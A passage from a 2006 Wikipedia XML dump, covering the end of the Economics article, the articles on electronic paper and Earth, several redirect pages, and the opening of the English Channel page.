*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv2-06 ''Dictionary of the history of Ideas''] - History of Economics
*[http://www.economyprofessor.com/ Economic Theories and Theorists at EconomyProfessor.com] - An index of all theories and theoreticians throughout the history of economic thought.
* [http://www.eco.nm.ru/ Introduction to Economics] - By Vladimir Boutiaga
*[http://www.capmag.com/article.asp?ID=4091 Economics For The Citizen] - By [[Walter E. Williams]]
*[http://homepage.newschool.edu/het/thought.htm Schools of Thought] &amp;ndash; Compare various economic schools of thought on particular issues
*[http://www.tutor2u.net/ Tutor2u.net] - A comprehensive source of study notes, designed particularly for [[United Kingdom|UK]] students. Winner of the BETT Award for UK Online Learning Resource of the Year in 2003. 
* [http://economics.about.com Economics at About.com] - A set of economics resources for students.
*[http://www.bized.ac.uk Bized] - A UK-based portal site for Economics and Business Studies designed mainly for [[United Kingdom|UK]] students.
* [http://www.introecon.com ''Introduction to Economic Analysis''] - A complete introductory economics textbook under [[Creative Commons]] license by R. [[Preston McAfee]].

;Economists
*[http://www.wws.princeton.edu/~pkrugman/ Paul Krugman website at Princeton.edu] - official website of well-known economist [[Paul Krugman]].
*[http://www.johnkay.com John Kay] - official website of the UK economist John Kay, author of ''Everlasting Light Bulbs'' and ''The Truth about Markets''

;Publications
*[http://www.aeaweb.org/ae American Economic Review]
*[http://www.yaleeconomicreview.com Yale Economic Review]

;Miscellaneous
* [http://www.ericdigests.org/1998-1/economic.htm Recent Trends in Economic Education. ERIC Digest.]
*[http://english.historia.se Historicalstatistics.org] - Links to historical economic statistics for different countries and regions
* [http://www.ericdigests.org/1999-4/economics.htm National Voluntary Content. ERIC Digests.]
*[http://www.stlouisfed.org/ St Louis Federal Reserve] Gateway to the [[Federal Reserve Bank of St Louis]], including working papers, links to lectures and other material.
*[http://xlab.berkeley.edu/ XLab] - UC Berkeley Experimental Social Science Laboratory:  Human Subject Research in Economics
*[http://www.DKEI.com/ Daniel Knowles Economic Institute] - Advanced studies and theories.

&lt;!-- If you have an interest in the Economics and Business section of Wikipedia, drop by at [[Wikipedia:WikiProject Business and Economics]]. --&gt;

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[[af:Ekonomie]]
[[ar:اقتصاد]]
[[zh-min-nan:keng-chè-ha̍k]]
[[bg:Икономика (наука)]]
[[be:Эканоміка]]
[[bn:অর্থনীতি]]
[[br:Armerzh]]
[[bs:Ekonomija]]
[[ca:Economia]]
[[ceb:Ekonomiks]]
[[cs:Ekonomie]]
[[cy:Economeg]]
[[da:Økonomi]]
[[de:Wirtschaftswissenschaft]]
[[et:Majandusteadus]]
[[eo:Ekonomiko]]
[[es:Economía]]
[[el:Οικονομικά]]
[[fa:اقتصاد]]
[[fr:Économie]]
[[fy:Ekonomy]]
[[ga:Eacnamaíocht]]
[[gl:Economía]]
[[he:כלכלה]]
[[hr:Ekonomija]]
[[hu:közgazdaságtan]]
[[ia:Economia]]
[[id:Ekonomi]]
[[io:Ekonomiko]]
[[it:Economia]]
[[ja:経済学]]
[[jv:Ekonomi]]
[[km:សេដ្ឋកិច្ច]]
[[ko:경제학]]
[[lb:Economie]]
[[lo:ເສດຖະສາດ]]
[[lt:Ekonomika]]
[[lv:Ekonomika]]
[[mk:Економија]]
[[mg:Toe-Karena]]
[[nl:Economie]]
[[no:Økonomi]]
[[oc:Economia]]
[[nds:Wertschap]]
[[pl:Ekonomia]]
[[pt:Economia]]
[[ro:Economie]]
[[ru:Экономика]]
[[simple:Economics]]
[[sl:ekonomija]]
[[fi:Taloustiede]]
[[sr:Економија]]
[[sv:Nationalekonomi]]
[[th:เศรษฐศาสตร์]]
[[tl:Ekonomiya]]
[[tr:İktisat]]
[[vi:Kinh tế học]]
[[zh:经济学]]</text>
    </revision>
  </page>
  <page>
    <title>Eclectic Probability</title>
    <id>9224</id>
    <revision>
      <id>15907127</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
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  </page>
  <page>
    <title>Electronic paper</title>
    <id>9225</id>
    <revision>
      <id>41492800</id>
      <timestamp>2006-02-27T19:03:47Z</timestamp>
      <contributor>
        <username>Shadow1</username>
        <id>690159</id>
      </contributor>
      <comment>Fixed link to disambiguation page</comment>
      <text xml:space="preserve">{{mergeto|Electronic ink}}

'''Electronic paper''', or e-paper, is a [[technology]] that allows the text on a piece of [[paper]] to be re-written. The &quot;paper&quot; is actually made of [[organic electronics]] that use [[Conductor (material)|conductive]] [[plastics|plastic]] which contains tiny balls that respond to an electric charge, changing the page in much the same way that [[pixel]]s change on a [[Computer display|computer monitor]].

Electronic paper was developed in order to overcome some of the limitations of computer monitors. For example, the [[backlighting]] of [[Computer display|monitors]] is hard on the human eye, whereas electronic paper reflects light just like normal paper. It is easier to read at an angle than flat screen monitors. Because it is made of plastic, electronic paper has the potential to be flexible. It is light and potentially inexpensive.

Electronic paper was first developed in the [[1970s]] by [[Nick Sheridon]] at [[Xerox|Xerox's]] [[Palo Alto Research Center]]. The first electronic paper, called [[Gyricon]], consisted of tiny, statically charged [[ball]]s that were black on one side and white on the other. The &quot;[[text]]&quot; of the paper was altered by the presence of an [[electric field]], which turned the balls up or down.

In the [[1990s]] another type of electronic paper was invented by [[Joseph Jacobson]]. This used tiny microcapsules filled with electrically charged white [[molecules|particle]]s suspended in a colored [[Mineral oil|oil]]. In early versions, the underlying [[circuitry]] controls whether the white particles were at the top of the capsule (so it looked white to the viewer) or at the bottom of the capsule (so the viewer saw the color of the oil). This was essentially a reintroduction of the well-known [[Electrophoresis|electrophoretic]] display technology, but the use of microcapsules allowed the display to be used on flexible plastic sheets instead of glass.
There are many approaches to electronic paper, with many companies developing technology in this area. Other technologies being applied to electronic paper include modifications of [[liquid crystal display]]s, [[electrochromic display]]s, and the electronic equivalent of an [[Etch-A-Sketch]] at Kyushu Univerisity. One form or another of electronic paper is being developed by [[Gyricon]] (which was spun out of [[Xerox]]), Philips Electronics, Kent Displays (cholesteric displays), Ntera ([[electrochromic]] [[Nanochromic displays]]), and many others. One important feature needed is that the pixels be [[bistable]] so that the state of each pixel can be maintained without a constant supply of power.

In April, [[2004]], [[Sony]] announced the first commercially available electronic paper device, the [[Sony Librie EBR-1000EP|LIBRIe]], sold only in Japan. On January 6, 2006, Sony announced the [[Sony Reader]], a successor to the LIBRIé for the US market.

On July 14th and 15th 2005 Fujitsu showcased their jointly developed electronic paper at the Tokyo International Forum. It boasts low power consumption in that it does not require electricity except during screen image changes, making electronic paper especially suited for advertisements or information bulletins in public places for which paper is currently used.

It has been rumored that Leeds' (UK) Yorkshire Post will be one of the first newspapers to use this.

E Ink announced in October 2005 that it would begin shipping developer kits of 6 inch, 800x600 resolution electronic paper on November 1st, 2005.

Another electronic paper device to be introduced in April of 2006 is the iLiad produced by iRex Technologies BV (a spinoff from Royal Philips Electronics). It would be able to render content without DRM based restrictions, and supports PDF, XHTML, TXT and MP3 formats. It also has standard connectivity features for transferring content, namely USB stick/cable, Compact Flash, SD Memory Card, WiFi, and Ethernet access.

In December 2005 Xerox announced it was closing the Gyricon operation as of December 31, 2005.

Electronic paper should not be confused with [[digital paper]].

==See also==
*[[Librie|Sony LIBRIé]]
*[[Sony Reader|Sony Reader]]

==Further reading==
* {{cite journal | author=Gelinck GH, Huitema HE, van Veenendaal E, Cantatore E, Schrijnemakers L, van der Putten JB, Geuns TC, Beenhakkers M, Giesbers JB, Huisman BH, Meijer EJ, Benito EM, Touwslager FJ, Marsman AW, van Rens BJ, de Leeuw DM | title=Flexible active-matrix displays and shift registers based on solution-processed organic transistors | journal=Nature Materials | year=2004 | pages=106–110 | id=PMID 14743215}}

==External links==
* [http://www.overclockersclub.com/?read=2136713 Fujitsu announcement of bendable electronic paper; good pictures] [[July 14]] [[2005]]
* [http://www.eink.com eink.com]
* [http://www.eink.com/kits/ e-ink developer kits]
* [http://www.wisegeek.com/what-is-electronic-ink wisegeek.com explanation]
* [http://www.irextechnologies.com/shop/products/iliad.htm iRex iLiad]

[[Category:Display technology]]
[[Category:Electronic engineering]]
[[Category:Paper]]

[[de:Elektronisches Papier]]
[[fr:Encre électronique]]
[[nl:Elektronisch papier]]
[[ja:電子ペーパー]]
[[pl:Papier elektroniczny]]
[[sl:Elektronski papir]]
[[sv:Elektroniskt papper]]
[[vi:Giấy điện tử]]</text>
    </revision>
  </page>
  <page>
    <title>Engineering Statistics</title>
    <id>9226</id>
    <revision>
      <id>15907129</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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        <ip>Conversion script</ip>
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  <page>
    <title>Earth Sciences</title>
    <id>9227</id>
    <revision>
      <id>15907130</id>
      <timestamp>2002-04-27T23:17:24Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#redirect[[Earth science]]</comment>
      <text xml:space="preserve">#redirect[[Earth science]]
 </text>
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  </page>
  <page>
    <title>Earth</title>
    <id>9228</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42090517</id>
      <timestamp>2006-03-03T19:39:14Z</timestamp>
      <contributor>
        <username>Redtitan</username>
        <id>1015132</id>
      </contributor>
      <comment>Removed 'muahahaha'</comment>
      <text xml:space="preserve">{{otheruses}}
{{Planet Infobox/Earth}}
'''Earth''' is the third [[planet]] from the [[Sun]]. It is the largest of the [[solar system]]'s [[terrestrial planet]]s and the only place in the universe known to harbor [[life]]. Scientific evidence indicates that the Earth was formed around 4.57 [[billion]] (4.57{{e|9}}) [[year]]s ago (see [[Age of the Earth]]) and that its single [[natural satellite]], the [[Moon]], was orbiting it shortly thereafter, around 4.533 billion years ago.
 
==Lexicography==
The official name for the planet Earth, as set by the [[International Astronomical Union]], is ''Terra'',  after the [[Roman mythology|Roman goddess]] [[Terra (mythology)|Terra Mater]]. With this name, ''all'' the planets in our solar system known from ancient times are now named for [[Roman mythology|Roman gods or goddesses]]. ''Terra'' is also the [[Latin (language)|Latin]] word for &quot;earth&quot; (soil).

Terms that refer to the Earth can use the [[Latin (language)|Latin]] root ''terra-'', such as the word ''terrestrial''. There is also the alternative Latin root ''tellur-'', as used in words such as [[telluric]], tellurian, [[tellurion]] and [[Tellurium]], which derives the goddess Terra Mater's more ancient name Tellūs Mater. Scientific terms such as [[geography]], [[geocentric]] and [[geothermal]] use the [[Greek language|Greek]] prefix ''geo-'', derived from Terra Mater's [[Greek mythology|Greek]] counterpart [[Gaia (mythology)|Gaia]].

The English word &quot;earth&quot; has [[cognate]]s in many modern and ancient languages. Examples in modern tongues include ''aarde'' in [[Dutch language|Dutch]], ''Erde'' in [[German language|German]] and ''arde'' in [[Arabic language|Arabic]]. The root also has cognates in extinct languages such as ''ertha'' in [[Old Saxon]] and ''ert'' (meaning &quot;ground&quot;) in [[Middle Irish]], derived from the [[Old English]] ''eor&amp;#0240;e''. Given [[metathesis (linguistics)|metathesis]], we can find cognates of &quot;earth&quot; between ''terra'' and the modern [[Romance languages]], for instance ''tierra'' in [[Spanish language|Spanish]] or ''terra'' in [[Portuguese language|Portuguese]].

Several [[Semitic languages]] have words for &quot;earth&quot; similar to those in [[Indo-European languages]], although evidence of a link is not overwhelming. Arabic has ''aard''; [[Akkadian language|Akkadian]], ''irtsitu''; [[Aramaic language|Aramaic]], ''araa''; [[Phoenician languages|Phoenician]], ''erets'' (which appears in the [[Mesha Stele]]); and [[Hebrew language|Hebrew]], ארץ (''arets'', or ''erets'' when followed by a [[Hebrew grammar#Nouns|noun modifier]]).

===Symbol===
The [[astrology|astrological]] and [[astronomical symbol]] for Earth consists of a circled cross, the arms of the cross representing a [[meridian]] and the [[equator]] (&lt;big&gt;{{unicode|&amp;#x2295;}}&lt;/big&gt;). A variant puts the cross atop the circle (&lt;big&gt;{{unicode|&amp;#x2641;}}&lt;/big&gt;).

==History==
{{main|History of Earth}}
Based on the available evidence, scientists have been able to reconstruct detailed information about the planet's past. Earth is believed to have formed around 4.55&amp;times;10&lt;sup&gt;9&lt;/sup&gt; years ago out of the [[solar nebula]], along with the Sun and other planets. The moon formed soon afterwards. Initially molten, the outer layer of the planet cooled, resulting in the solid crust. Outgassing and volcanic activity produced the primordial atmosphere; condensing water vapor, augmented by ice delivered by comets, [[Origin of the world's oceans|produced the oceans]]. The highly energetic chemistry is believed to have produced a self-replicating molecule around 4&amp;times;10&lt;sup&gt;9&lt;/sup&gt; years ago, and half a billion years later, the [[last universal common ancestor|last common ancestor of all life]] lived. The development of [[photosynthesis]] allowed the sun's energy to be harvested directly; the resultant [[oxygen]] accumulated in the atmosphere and gave rise to the [[ozone layer]]. The incorporation of smaller cells within larger ones resulted in the [[endosymbiotic theory|development of complex cells]] called [[eukaryotes]]. Cells within colonies became increasingly specialized, resulting in true multicellular organisms. With the ozone layer absorbing harmful [[ultraviolet radiation]], life colonized the surface of Earth. Continents formed and broke up as the surface of Earth continually reshaped itself. 65 million years ago, a meteorite collision probably triggered the extinction of the [[dinosaur]]s and other large reptiles, but spared small animals such as the [[mammal]]s, then resembling shrews. Life diversified, and several million years ago, a small African ape gained the ability to stand upright. As [[brain]] size increased, these hominids developed the use of tools and language. The development of agriculture, and then civilization allowed humans to affect the Earth in a short timespan like no other life form had before, affecting both the nature and quantity of other life forms as well as global climate.

==Physical characteristics==
{{main|Structure of the Earth}}
{{seealso|Geology}}

[[Image:Earth-crust-cutaway-english.png|thumb|left|Earth cutaway from core to exosphere. Partially to scale]]

&lt;!-- This section has been moved to the article '''[[Structure of the Earth]]'''. A new 30-line summary section must be written from this main article to this &quot;Physical characteristics&quot; section. Help is welcome. --&gt;
The Earth consists of several [[atmospheric]], [[hydrologic]], and mainly [[geologic]] layers. Its components are the [[Earth's atmosphere|atmosphere]], the [[hydrosphere]], the [[Crust_%28geology%29|crust]], the [[mantle (geology)|mantle]], and its [[core]]. The [[biosphere]] is a tiny layer in this composition and is usually not considered part of the physical layers of the Earth.

The geologic component layers of the Earth are located at the following depths below surface:

* 0 to 60 km - [[Lithosphere]] (locally varies between 5 and 200 km)
** 0 to 35 km - [[Crust (geology)|Crust]] (locally varies between 5 and 70 km)
** 35 to 60 km - Uppermost part of mantle
* 35 to 2890 km - [[Mantle (geology)|Mantle]]
** 100 to 700 km - [[Asthenosphere]]
* 2890 to 5100 km - [[Outer core]]
* 5100 to 6378 km - [[Inner core]]

&lt;!-- 
God damn it, stop editing this out. 
--&gt;

==Earth in the solar system==
It takes the Earth 23 hours, 56 minutes and 4.091 seconds ([[sidereal day|1 sidereal day]]) to rotate around the [[axis]] connecting the [[north pole]] and the [[south pole]]. From Earth the main apparent motion of celestial bodies in the sky (except [[meteor]]s which are within the atmosphere and low-orbiting satellites) is the movement to the west at a rate of 15 &amp;deg;/h = 15'/min, i.e., a Sun or Moon diameter every two minutes.

Earth orbits the Sun every 365.2564 mean solar days ([[sidereal year|1 sidereal year]]). From Earth, this gives an apparent movement of the Sun with respect to the stars at a rate of about 1 &amp;deg;/day, i.e., a Sun or Moon diameter every 12 hours, eastward.

The orbital speed of the Earth averages about 30 km/s (108,000 km/h), which is enough to cover one Earth diameter (~12,700 km) in 7 minutes, and one distance to the Moon (384,000 km) in 4 hours.

Earth has one [[natural satellite]], the [[Moon]], which revolves with the Earth around a common [[barycenter]], from fixed star to fixed star, every 27.32 days. When combined with the Earth-Moon system's common revolution around the Sun, the period of the [[synodic month]], from new moon to new moon, is 29.53 days.

Viewed from Earth's north pole, the motion of Earth, its moon and their axial rotations are all [[counterclockwise]].

The orbital and axial planes are not precisely aligned: Earth's [[axial tilt|axis is tilted]] some 23.5 degrees against the Earth-Sun plane (which causes the [[season]]s); and the Earth-Moon plane is tilted about 5 degrees against the Earth-Sun plane (otherwise there would be an eclipse every month).

The [[Hill sphere]] (sphere of influence) of the Earth is about 1.5 Gm (930,000 miles) in radius, within which one natural satellite (the [[Moon]]) comfortably orbits.

In an inertial reference frame, the Earth's axis undergoes a slow [[precession]]al motion with a period of some 25,800 years, as well as a [[nutation]] with a main period of 18.6 years. These motions are caused by the differential attraction of Sun and Moon on the Earth's equatorial bulge, due to its oblateness. In a reference frame attached to the solid body of the Earth, its rotation is also slightly irregular due to [[polar motion]]. The polar motion is quasi-periodic, containing an annual component and a component with a 14-month period called the [[Chandler wobble]]. Also, the rotational velocity varies, a phenomenon known as [[Day|length of day]] variation.

In modern times, Earth's [[perihelion]] is always about [[January 3]], and [[aphelion]] is about [[July 4]] (near the winter and summer [[solstice]]s, which are on about [[December 21]] and [[June 21]], respectively). For other eras, see [[precession]] and [[Milankovitch cycles]].

The Earth is sometimes referred to as the '''Third Planet from the Sun''' because, of the nine planets of our solar system, Earth is the third closest planet to the sun.

===The Moon===
[[Image:Earth-moon.jpg|thumb|left|''Earthrise'' as seen from the Moon on ''[[Apollo 8]]'', [[24 December]] [[1968]]. Due to [[tidal locking]], from any point on the Moon's surface, the Earth does not rise or set, but is always located in the same position in the sky.]]

{{main|Moon}}
&lt;center&gt;
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
!style=&quot;background:#efefef;&quot;|Name
!style=&quot;background:#efefef;&quot;|Diameter (km)
!style=&quot;background:#efefef;&quot;|Mass (kg)
!style=&quot;background:#efefef;&quot;|[[Semi-major axis]] (km)
!style=&quot;background:#efefef;&quot;|Orbital period
|-
|[[Moon]]
|align=&quot;center&quot;|3,474.8
|7.349{{e|22}}
|align=&quot;center&quot;|384,400
|27&amp;nbsp;Days, 7&amp;nbsp;hours, 43.7&amp;nbsp;minutes
|}
&lt;/center&gt;
The Moon, sometimes called 'Luna', is a relatively large terrestrial planet-like satellite, whose diameter is about one-quarter of the Earth's. With the exception of [[Pluto|Pluto's]] [[Charon (moon)|Charon]], it is the largest moon in the Solar system relative to the size of its planet. The [[natural satellite]]s orbiting other planets are called &quot;moons&quot;, after Earth's Moon.

The gravitational attraction between the Earth and Moon cause the [[tides]] on Earth. The same effect on the Moon has led to its [[tidal locking]]: Its rotation period is the same as the time it takes to orbit the Earth. As a result, it always presents the same face to the planet.

As the Moon orbits Earth, different parts of its face are illuminated by the Sun, leading to the [[lunar phase]]s: The dark part of the face is separated from the light part by the [[terminator (solar)|solar terminator]].

The Moon may dramatically affect the development of life by taming the weather. Paleontological evidence and computer simulations show that Earth's [[axial tilt]] is stabilised by tidal interactions with the Moon. Some theorists believe that, without this stabilization against the [[torque]]s applied by the Sun and planets to the Earth's equatorial bulge, the rotational axis might be chaotically unstable, as it appears to be with [[Mars (planet)|Mars]]. If Earth's axis of rotation were to approach the [[ecliptic|plane of the ecliptic]], extremely severe [[weather]] could result, as this would make seasonal differences extreme. One pole would be pointed directly toward the Sun during ''summer'' and directly away during ''winter''. [[Planetary science|Planetary scientists]] who have studied the effect claim that this might kill all large animal and higher plant life. This remains a controversial subject, however, and further studies of Mars&amp;mdash;which shares Earth's [[sidereal day|rotation period]] and [[axial tilt]], but not its large moon or liquid core&amp;mdash;may provide additional insight.

The Moon is just far enough away to have, when seen from Earth, very nearly the same apparent angular size as the Sun (the Sun is 400 times larger, but the Moon is 400 times closer). This allows total [[eclipse]]s and annular eclipses to occur on Earth.

&lt;div style=&quot;clear: both&quot; /&gt;
[[Image:Earth-Moon.jpg|thumb|center|700px|Earth and Moon to scale.]]

The most widely accepted theory of the Moon's origin, the [[giant impact theory]], states that it was formed from the collision of a Mars-size [[protoplanet]] with the early Earth. This hypothesis explains (among other things) the Moon's relative lack of iron and volatile elements, and the fact that its composition is nearly identical to that of the Earth's crust.

Earth also has at least one co-orbital [[asteroid]], [[3753 Cruithne]].

==Geography==
{{main|Geography}}

[[Image:Physical_world.jpg|thumb|333px|right|Physical map of the Earth ([[:Image:Physical_world.jpg|Medium]]) ([[:Image:World-map-2004-cia-factbook-large-2m.jpg|Large 2 MB)]]]]

'''Map references:'''

[[Time Zone]]s, [[Coordinate]]s.

'''Biggest geographic subdivision'''

[[Continent]]s, [[Ocean]]s

'''Area:'''

* ''Total:'' [[1 E14 m²|510.073 million]] [[square kilometre|km&lt;sup&gt;2&lt;/sup&gt;]]
* ''[[Landform|land]]:'' 148.94 million km&lt;sup&gt;2&lt;/sup&gt;
* ''[[Water]]:'' 361.132 million km&lt;sup&gt;2&lt;/sup&gt;
* ''Note:'' 70.8 % of the world's surface is covered by water, 29.2 % is exposed land

'''Land boundaries:'''
the land boundaries in the world total 251,480 km (not counting shared boundaries twice)

'''Coastline:'''
356,000 km

'''Maritime claims:''' see [[United Nations Convention on the Law of the Sea]]

* ''Contiguous zone:'' 24 [[nautical mile|nautical miles]] (44 km) claimed by most, but can vary
* ''[[Continental shelf]]:'' 200 m depth claimed by most or to depth of exploitation; others claim 200 nautical miles (370 km) or to the edge of the continental margin
* ''Exclusive fishing zone:'' 200 nautical miles (370 km) claimed by most, but can vary
* ''Exclusive economic zone:'' 200 nautical miles (370 km) claimed by most, but can vary
* ''Territorial sea:'' 12 nautical miles (22 km) claimed by most, but can vary
* ''Note:'' boundary situations with neighboring states prevent many countries from extending their fishing or economic zones to a full 200 nautical miles (370 km)
* 42 nations and other areas are completely landlocked (see list of [[landlocked|landlocked countries]])

==Environment and ecosystem==
{{main|Biosphere}}

Earth is the only place in the universe where life is absolutely known to exist, and  some scientists believe that [[Rare Earth hypothesis|biospheres might be rare]]. The planet's lifeforms are sometimes said to form a &quot;[[biosphere]]&quot;. This biosphere is generally believed to have begun [[evolution|evolving]] about 3.5 billion (3.5{{e|9}}) years ago.

The biosphere is divided into a number of [[biome]]s, inhabited by broadly similar [[flora (plants)|flora]] and [[fauna (animals)|fauna]]. On land, biomes are separated primarily by [[latitude]]. Terrestrial biomes lying within the [[Arctic Circle|Arctic]] and [[Antarctic Circle]]s are relatively barren of [[plant]] and [[animal]] life, while most of the more populous biomes lie near the [[Equator]].
[[Image:90 mile beach.jpg|thumb|right|220px|A familiar [[beach|scene]] on Earth which simultaneously shows the lithosphere, hydrosphere and atmosphere.]]

===Climate===
{{main|Climate}}

Two large areas of polar [[climate]]s separated by two rather narrow [[temperate]] zones from a wide [[equator]]ial band of [[tropical]] to [[subtropical]] climates. [[precipitation (meteorology)|Precipitation]] patterns vary widely, ranging from several metres of water per year to less than a millimetre.

Ocean currents, particularly the spectacular [[thermohaline circulation]] which distributes heat energy from the equatorial oceans to the polar regions, are important determinators of climate.

===Terrain===
{{main|Extreme points of the world}}

'''Elevation extremes:''' (measured relative to [[sea level]])

* Lowest point on land: [[Dead Sea]] [[1 E2 m| &amp;minus;417]] m
* Lowest point overall: [[Mariana Trench]] in the [[Pacific Ocean]] [[1 E4 m| &amp;minus;10,924]] m &lt;!-- Takuyo measurement; see Mariana Trench for details --&gt;[http://www.rain.org/ocean/ocean-studies-challenger-deep-mariana-trench.html]
* Highest point: [[Mount Everest]] [[1 E3 m|8,844]] m (2005 est.)

===Natural resources===
{{main|Natural resource}}

* Earth's crust contains large deposits of [[fossil fuel]]s: ([[coal]], [[petroleum]], [[natural gas]], [[methane clathrate]]). These deposits are used by humans both for energy production and as feedstock for chemical production.
* Mineral [[ore]] bodies have been formed in Earth's crust by the action of [[erosion]] and [[plate tectonics]]. These ore bodies form concentrated sources for many [[metal]]s and other useful [[chemical element|element]]s.
* Earth's [[biosphere]] produces many useful biological products, including (but far from limited to) [[food]], [[wood]], [[pharmaceutical]]s, oxygen, and the recycling of many organic wastes. The land-based [[ecosystem]] depends upon [[topsoil]] and fresh water, and the oceanic [[ecosystem]] depends upon dissolved nutrients washed down from the land.

Some of these resources, such as [[fossil fuel|mineral fuel]]s, are difficult to replenish on a short time scale, called [[non-renewable resources]]. The exploitation of non-renewable resources by human [[civilization]] has become a subject of significant controversy in modern [[environmentalism]] movements.

===Land use===
* ''Arable land:'' 10%
* ''Permanent crops:'' 1%
* ''Permanent pastures:'' 26%
* ''Forests and woodland:'' 32%
* ''Urban areas:'' 1.5%
* ''Other:'' 30% (1993 est.)

'''Irrigated land:'''
2,481,250 km&lt;sup&gt;2&lt;/sup&gt; ([[1993]] est.)

===Natural and environmental hazards===
Large areas are subject to extreme [[weather]] such as (tropical [[cyclone]]s), [[hurricane]]s, or [[typhoon]]s that dominate life in those areas. Many places are subject to [[earthquake]]s, [[landslide]]s, [[tsunami]]s, [[volcano|volcanic eruptions]], [[tornado]]es, [[sinkhole]]s, [[flood]]s, [[drought]]s, and other calamities and [[disaster]]s.

Large areas are subject to man-made [[pollution]] of the air and water, [[acid rain]] and toxic substances, loss of vegetation ([[overgrazing]], [[deforestation]], [[desertification]]), loss of [[wildlife]], [[species]] [[extinction]], [[soils retrogression and degradation|soil degradation]], soil depletion, [[erosion]], and introduction of [[invasive species]].

Long-term [[climate]] [[global warming|alteration]] due to enhancement of the [[greenhouse effect]] by human industrial [[carbon dioxide]] emissions is an increasing concern, the focus of intense study and debate.

===Human geography===
[[Image:Earthlights dmsp.jpg|333px|thumb|right|Earth at night, composite of pictures taken between October 1994 and March 1995.]]
{{main|Human}}
Earth has approximately 6,500,000,000 human inhabitants ([[February 25]] [[2006]] estimate). [http://news.yahoo.com/s/space/20060224/sc_space/planetspopulationtohit65billionsaturday] Projections indicate that the [[world population|world's human population]] will reach seven billion in 2013 and 9.1 billion in 2050 (2005 [[United Nations|UN]] estimates). Most of the growth is expected to take place in [[developing nations]]. Human [[population density]] varies widely around the world.

It is estimated that only one eighth of the surface of the Earth is suitable for [[human]]s to live on &amp;mdash; three-quarters is covered by [[ocean]]s, and half of the land area is [[desert]], high [[mountain]]s or other unsuitable terrain.

The northernmost settlement in the world is [[Alert, Nunavut|Alert]], [[Ellesmere Island]], [[Canada]]. The southernmost is the [[Amundsen-Scott South Pole Station]], in [[Antarctica]], almost exactly at the [[South Pole]].

There are 267 administrative divisions, including nations, dependent areas, other, and miscellaneous entries. Earth does not have a [[sovereignty | sovereign]] [[government]] with planet-wide authority. Independent sovereign [[nation|nations]] claim all of the land surface except for some segments of [[Antarctica]]. There is a worldwide general [[international organization]], the [[United Nations]]. The United Nations is primarily an international discussion forum with only limited ability to pass and enforce [[international law|law]]s.

In total, about four hundred people have been outside the Earth's atmosphere as of [[2004]], and of these twelve have walked on the [[Moon]]. ''See [[space exploration]].''

==Descriptions of Earth==
Earth has often been personified as a [[deity]], in particular a [[goddess]] (''see [[Gaia (mythology)|Gaia]] and [[Mother Earth]]''). The [[China|Chinese]] Earth goddess [[Hu-Tu]] is similar to Gaia, the deification of the Earth. As the patroness of fertility, her element is Earth. In [[Norse mythology]], the Earth goddess [[Jord]] was the mother of [[Thor]] and the daughter of [[Annar]].

Although commonly thought to be a sphere, the earth is actually an &quot;oblate spheroid&quot;. It bulges slightly at the equator and slightly flattened at the poles. In the past there were varying levels of belief in a [[flat Earth]] because of this, but ancient Greek philosophers and, in the [[Middle Ages]], thinkers such as [[Thomas Aquinas]] knew that the Earth was a sphere.

Prior to the introduction of [[space flight]], this belief was countered with deductions based on observations of the secondary effects of the Earth's shape and parallels drawn with the shape of other planets. [[Cartography]], the study and practice of mapmaking, and vicariously [[geography]], have historically been the disciplines devoted to depicting the Earth. [[Surveying]], the determination of locations and distances, and to a somewhat lesser extent [[navigation]], the determination of position and direction, have developed alongside cartography and geography, providing and suitably quantifying the requisite information.

The technological developments of the latter half of the 20th century are widely considered to have altered the public's perception of the Earth. A photo taken of Earth by ''[[Voyager 1]]'' inspired [[Carl Sagan]] to describe the planet as a &quot;[[Pale Blue Dot]]&quot;.  Earth has also been described as a massive [[spaceship]], with a [[life support system]] that requires maintenance, or as having a [[biosphere]] that forms one large [[organism]]. ''See [[Spaceship Earth]] and [[Gaia theory]].''

==See also==
{|
!align=left| Subtopic !!align=left| Links
|-
| Ecology || [[Millennium Ecosystem Assessment]]
|-
| Economy || [[World economy]]
|-
| Fiction || [[Hollow Earth]] · [[Journey to the Center of the Earth]]
|-
| Astronomy || [[Darwin (ESA)]] · [[Terrestrial Planet Finder]]
|-
| Geography, &amp;nbsp;&amp;nbsp;&lt;br&gt;Geology || [[Degree Confluence Project]] · [[Earthquake]] · [[Extremes on Earth]] · [[Plate tectonics]] · [[Equatorial bulge]]
|-
| History || [[Geologic time scale]] · [[History of the World|Human history]] · [[Solar system#Origin and evolution of the solar system|Origin and evolution of the solar system]] · [[Timeline of evolution]]
|-
| Law || [[International law]]
|-
| Mapping || [[Google Earth]] · [[World Wind]]
|-
| Politics || [[List of countries]]
|}

==References==
* [http://nssdc.gsfc.nasa.gov/planetary/factsheet/earthfact.html NASA's Earth fact sheet]
* ''Discovering the Essential Universe'' (Second Edition) by Neil F. Comins (2001)
* [http://space.about.com/od/earth/a/earthinfo_2.htm space.about.com - Earth - Pictures and Astronomy Facts]

==External links==
{{commons|Earth}}
{{wikiquote}}
{{wiktionary}}
* [http://geomag.usgs.gov USGS Geomagnetism Program]
* [http://www.geo.cornell.edu/geology/classes/isacks/velstruct.pdf Overview of the Seismic Structure of Earth] {{PDFlink}}
* [http://earthobservatory.nasa.gov/Newsroom/BlueMarble NASA Earth Observatory]
* [http://www.projectshum.org/Planets/earth.html Projectshum.org's Earth fact file] (for younger folk)

{{Footer_SolarSystem}}


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  <page>
    <title>EnglishChannel</title>
    <id>9229</id>
    <revision>
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      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[English Channel]]
</text>
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  </page>
  <page>
    <title>English Channel</title>
    <id>9230</id>
    <revision>
      <id>42127256</id>
      <timestamp>2006-03-04T00:19:40Z</timestamp>
      <contributor>
        <username>Johan Elisson</username>
        <id>82380</id>
      </contributor>
      <comment>/* See also */ +link</comment>
      <text xml:space="preserve">[[Image:EnglishChannel.jpg|thumb|400px|right|Satellite view of the English Channel]]
